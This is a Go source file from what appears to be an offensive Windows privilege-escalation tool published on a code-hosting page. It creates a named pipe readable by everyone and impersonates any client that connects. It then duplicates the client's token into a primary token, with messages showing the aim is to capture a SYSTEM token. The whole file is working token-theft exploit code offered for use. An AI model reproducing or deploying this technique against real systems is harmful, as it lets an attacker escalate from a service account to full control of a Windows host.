-
Notifications
You must be signed in to change notification settings - Fork 16
/
namedpipe.go
98 lines (75 loc) · 2.63 KB
/
namedpipe.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package main
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type NamedPipeNegotiator struct {
Name string
}
func (negotiator NamedPipeNegotiator) Serve() NegotiatorResult {
var sd windows.SECURITY_DESCRIPTOR
pipeName := "\\\\.\\pipe\\" + negotiator.Name
_, _, err := initializeSecurityDescriptor.Call(uintptr(unsafe.Pointer(&sd)), 1)
if err == syscall.Errno(0) {
_, _, err = setSecurityDescriptorDacl.Call(uintptr(unsafe.Pointer(&sd)), 1, 0, 0)
if err != syscall.Errno(0) {
fmt.Println("[!] Couldn't allow everyone to read pipe - if you are attacking SYSTEM this is fine")
} else {
fmt.Println("[+] Set DACL to allow anyone to access")
}
}
sa := windows.SecurityAttributes{
Length: 40,
SecurityDescriptor: &sd,
InheritHandle: 0,
}
pipeHandle, err := windows.CreateNamedPipe(windows.StringToUTF16Ptr(pipeName), windows.PIPE_ACCESS_DUPLEX, windows.PIPE_TYPE_BYTE|windows.PIPE_WAIT|windows.PIPE_REJECT_REMOTE_CLIENTS, 10, 2048, 2048, 0, &sa)
if err != nil {
fmt.Println("[!] Failed to create pipe "+pipeName+": ", windows.GetLastError())
return NegotiatorResult{nil, err}
}
fmt.Println("[+] Created pipe at " + pipeName)
err = windows.ConnectNamedPipe(pipeHandle, nil)
if err != nil {
fmt.Println("[!] Failed to connect to pipe "+pipeName+": ", windows.GetLastError())
windows.CloseHandle(pipeHandle)
return NegotiatorResult{nil, err}
}
fmt.Println("[+] Connection established, duplicating client token")
buf := []byte{0}
_, err = windows.Read(pipeHandle, buf)
if err != nil {
fmt.Println("[!] Failed to read from pipe")
return NegotiatorResult{nil, err}
}
_, _, err = impersonateNamedPipeClient.Call(uintptr(pipeHandle))
if err != syscall.Errno(0) {
fmt.Println("[!] Call to ImpersonateNamedPipeClient failed")
return NegotiatorResult{nil, err}
}
threadHandle, err := windows.GetCurrentThread()
if err != nil {
fmt.Println("[!] Failed to get current thread")
return NegotiatorResult{nil, err}
}
var threadToken windows.Token
err = windows.OpenThreadToken(threadHandle, windows.TOKEN_ALL_ACCESS, false, &threadToken)
if err != nil {
fmt.Println("[!] Failed to open thread token")
return NegotiatorResult{nil, err}
}
var systemToken windows.Token
err = windows.DuplicateTokenEx(threadToken, windows.MAXIMUM_ALLOWED, nil, SecurityImpersonation, windows.TokenPrimary, &systemToken)
if err != nil {
fmt.Println("[!] Failed to duplicate client token")
return NegotiatorResult{nil, err}
}
windows.RevertToSelf()
windows.CloseHandle(pipeHandle)
return NegotiatorResult{&systemToken, nil}
}
func (negotiator NamedPipeNegotiator) Trigger() bool {
return true
}